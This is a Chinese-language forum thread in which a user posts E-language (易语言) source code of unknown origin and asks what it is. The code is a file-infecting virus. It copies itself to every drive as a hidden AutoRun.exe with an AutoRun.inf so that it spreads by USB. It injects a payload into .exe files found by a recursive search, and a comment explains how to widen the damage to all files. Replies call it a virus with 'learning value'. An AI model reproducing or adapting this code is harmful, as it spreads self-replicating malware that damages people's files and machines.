易语言的源码
我以前不知从那下的易语言的源码也不知道是什么？？[s:60]麻烦大家看一下这个是什么能否告诉我[s:60]
谢谢大家了！！！[s:60]
下面是源码： （有点长！！请大家见谅[s:60] ）
版本 2
.支持库 eAPI
' 判断是否已经感染
.如果真 (文件是否存在 (“C:\data.dat”) ＝ 假)
返回 ()
.如果真结束
驱动器 ＝ 取驱动器列表 () ' 生产驱动器列表
.计次循环首 (取数组成员数 (驱动器), 次) ' 按顺序搜寻每一个驱动器```
搜寻 (驱动器 [次] ＋ “\”)
.计次循环尾 ()
.计次循环首 (取数组成员数 (驱动器), 次) ' 在每一个盘下生产病毒文件,同时达到U盘传播的目的```(效果不佳?)
复制文件 (取运行目录 () ＋ “\” ＋ 取执行文件名 (), 驱动器 [次] ＋ “\AutoRun.exe”)
写到文件 (驱动器 [次] ＋ “\AutoRun.inf”, 到字节集 (“[AutoRun]” ＋ #换行符 ＋ “OPEN=AutoRun.exe”))
置文件属性 (驱动器 [次] ＋ “\AutoRun.exe”, 4)
置文件属性 (驱动器 [次] ＋ “\AutoRun.inf”, 4)
.计次循环尾 ()
' 写下记录，被感染过的记录
写到文件 (“C:\data.dat”, 到字节集 (“”))
版本 2
处理事件 () ' 详细看支持库说明```
.如果真 (取文本右边 (目录, 1) ≠ “\”)
目录 ＝ 目录 ＋ “\”
.如果真结束
文件名 ＝ 寻找文件 (目录 ＋ “*.exe”, ) ' 这里的"*.exe"改成"*.*"就搜索所有文件`` 增强破坏力``!
.判断循环首 (文件名 ≠ “”)
数据 ＝ 读入文件 (目录 ＋ 文件名)
.如果 (寻找字节集 (数据, 到字节集 (#Miss), ) ＝ -1) ' 判断文件是否已经被感染,如果是跳过
文件号 ＝ 打开文件 (删首尾空 (目录 ＋ 文件名), #读写, #无限制)
插入字节集 (文件号, #Miss) ' 感染文件. #图标是声音资源,可以改成其它的.
关闭文件 (文件号)
.否则
关闭文件 (文件号)
.如果结束
文件名 ＝ 寻找文件 (, )
.判断循环尾 ()
文件名 ＝ 寻找文件 (目录 ＋ “*.*”, #子目录)
.判断循环首 (文件名 ≠ “”)
.如果真 (取文本左边 (文件名, 1) ≠ “.”)
搜寻 (目录 ＋ 文件名)
.如果真结束
文件名 ＝ 寻找文件 (, #子目录)
.判断循环尾 () 无语 病毒文件生成 判断是否存在 否就继续加
汗 LZ那里下的 蛮有学习价值
页:
[1]